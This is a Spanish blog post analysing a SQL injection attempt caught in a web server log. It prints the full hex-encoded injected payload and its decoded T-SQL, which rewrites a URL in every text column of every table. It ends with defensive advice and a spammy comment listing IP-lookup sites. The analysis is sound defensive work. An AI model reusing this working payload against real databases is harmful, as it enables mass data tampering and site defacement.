Intento de SQL Injection.
En una revisión rutinaria de los logs de un servidor web, encontramos la entrada:
2013-07-25 15:25:52 17.172.13.1 GET /petroglifo/hwnbuspa.aspx 1+declare+@s+varchar(8000)+set+@s=cast( 0x73657420616e73695f7761726e69 6e6773206f6666204445434c415245 204054205641524348415228323535 292c40432056415243484152283235 3529204445434c415245205461626c 655f437572736f7220435552534f52 20464f522073656c65637420632e54 41424c455f4e414d452c632e434f4c 554d4e5f4e414d452066726f6d2049 4e464f524d4154494f4e5f53434845 4d412e636f6c756d6e7320632c2049 4e464f524d4154494f4e5f53434845 4d412e7461626c6573207420776865 726520632e444154415f5459504520 696e2028276e76617263686172272c 2776617263686172272c276e746578 74272c2774657874272920616e6420 632e4348415241435445525f4d4158 494d554d5f4c454e4754483e313020 616e6420742e7461626c655f6e616d 653d632e7461626c655f6e616d6520 616e6420742e7461626c655f747970 653d2742415345205441424c452720 4f50454e205461626c655f43757273 6f72204645544348204e4558542046 524f4d205461626c655f437572736f 7220494e544f2040542c4043205748 494c4528404046455443485f535441 5455533d302920424547494e204558 45432827555044415445205b272b40 542b275d20534554205b272b40432b 275d3d5245504c414345285b272b40 432b275d2c202727676f676f706179 6461796c6f616e732e636f6d27272c 202727726f6e6e7061796461796c6f 616e732e636f6d2727292077686572 65205b272b40432b275d206c696b65 20272725676f676f7061796461796c 6f616e732e636f6d25272720272920 4645544348204e4558542046524f4d 205461626c655f437572736f722049 4e544f2040542c404320454e442043 4c4f5345205461626c655f43757273 6f72204445414c4c4f434154452054 61626c655f437572736f72+as+ varchar(8000))+exec(@s)-- 80 - 91.220.131.72 Mozilla/5.0+(Windows;+U;+ Windows+NT+5.2;+en-US)+ AppleWebKit/534.17+(KHTML,+ like+Gecko)+Chrome/11.0.652.0+ Safari/534.17 - 200 0 0 17066
Esta es una aplicacion vieja que tiene campos de ingreso de datos y estan intentando hacer una inyeccion de codigo SQL y luego ejecutarlo.
Primero vemos que la direccion 91.220.131.72, viene de Rusia y de la ciudad de Lenina. (http://www.iplocation.net/index.php)
91.220.131.72 | Russian Federation | Krasnodar | Lenina | Teterin Igor Ahmatovich |
Que es lo que intenta ejecutar?
Ejecutando la sentencia
select
cast( 0x73657420616e73695f7761726e69 6e6773206f6666204445434c415245 204054205641524348415228323535 292c40432056415243484152283235 3529204445434c415245205461626c 655f437572736f7220435552534f52 20464f522073656c65637420632e54 41424c455f4e414d452c632e434f4c 554d4e5f4e414d452066726f6d2049 4e464f524d4154494f4e5f53434845 4d412e636f6c756d6e7320632c2049 4e464f524d4154494f4e5f53434845 4d412e7461626c6573207420776865 726520632e444154415f5459504520 696e2028276e76617263686172272c 2776617263686172272c276e746578 74272c2774657874272920616e6420 632e4348415241435445525f4d4158 494d554d5f4c454e4754483e313020 616e6420742e7461626c655f6e616d 653d632e7461626c655f6e616d6520 616e6420742e7461626c655f747970 653d2742415345205441424c452720 4f50454e205461626c655f43757273 6f72204645544348204e4558542046 524f4d205461626c655f437572736f 7220494e544f2040542c4043205748 494c4528404046455443485f535441 5455533d302920424547494e204558 45432827555044415445205b272b40 542b275d20534554205b272b40432b 275d3d5245504c414345285b272b40 432b275d2c202727676f676f706179 6461796c6f616e732e636f6d27272c 202727726f6e6e7061796461796c6f 616e732e636f6d2727292077686572 65205b272b40432b275d206c696b65 20272725676f676f7061796461796c 6f616e732e636f6d25272720272920 4645544348204e4558542046524f4d 205461626c655f437572736f722049 4e544f2040542c404320454e442043 4c4f5345205461626c655f43757273 6f72204445414c4c4f434154452054 61626c655f437572736f72 as varchar(8000))
que se traduce a
set ansi_warnings off
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t
where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>10 and t.table_name=c.table_name and t.table_type='BASE TABLE'
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=REPLACE(['+@C+'], ''gogopaydayloans.com'', ''ronnpaydayloans.com'') where ['+@C+'] like ''%gogopaydayloans.com%'' ')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
En el codigo recorre todas las tablas y todas las columnas de texto que sean mayores que 10 caracteres y arma una sentencia que remplazan una url por otra, en todas las columnas de las todas las tablas. El codigo podria ser cualquier otro, como borrar el contenido o modificarlo totalmente.
Luego intenta ejecutar dicho código.
Si nuestros sistemas expuestos en internet no tienen protección contra este tipo de ataques, la podemos pasar bastante feo. Las aplicaciones GeneXus tienen proteccion contra este tipo de ataques desde hace unas cuantas versiones, pero igual hay que cuidarse con los User Controls de tercerso y cogigo nativo que estemos introduciendo pues pueden ocasionarnos problemas.
Esto ya viene pasando desde hace mucho tiempo, pero se ha intensificado basante en los ultimas semanas.
También conviene pasarle un Security Scanner a la aplicacion para revisar si no se nos esta escapando algo.
De hecho, un gran artículo, con el tiempo, sin duda, la importancia de la propiedad intelectual está aumentando. Estas son las herramientas que me gustaría recomendar para verificar su IP y también la ubicación de la IP en los mapas de Google.
ResponderBorrarhttps://dnschecker.org/ip-location.php
https://iplocation.io/
Debes revisar estos dos.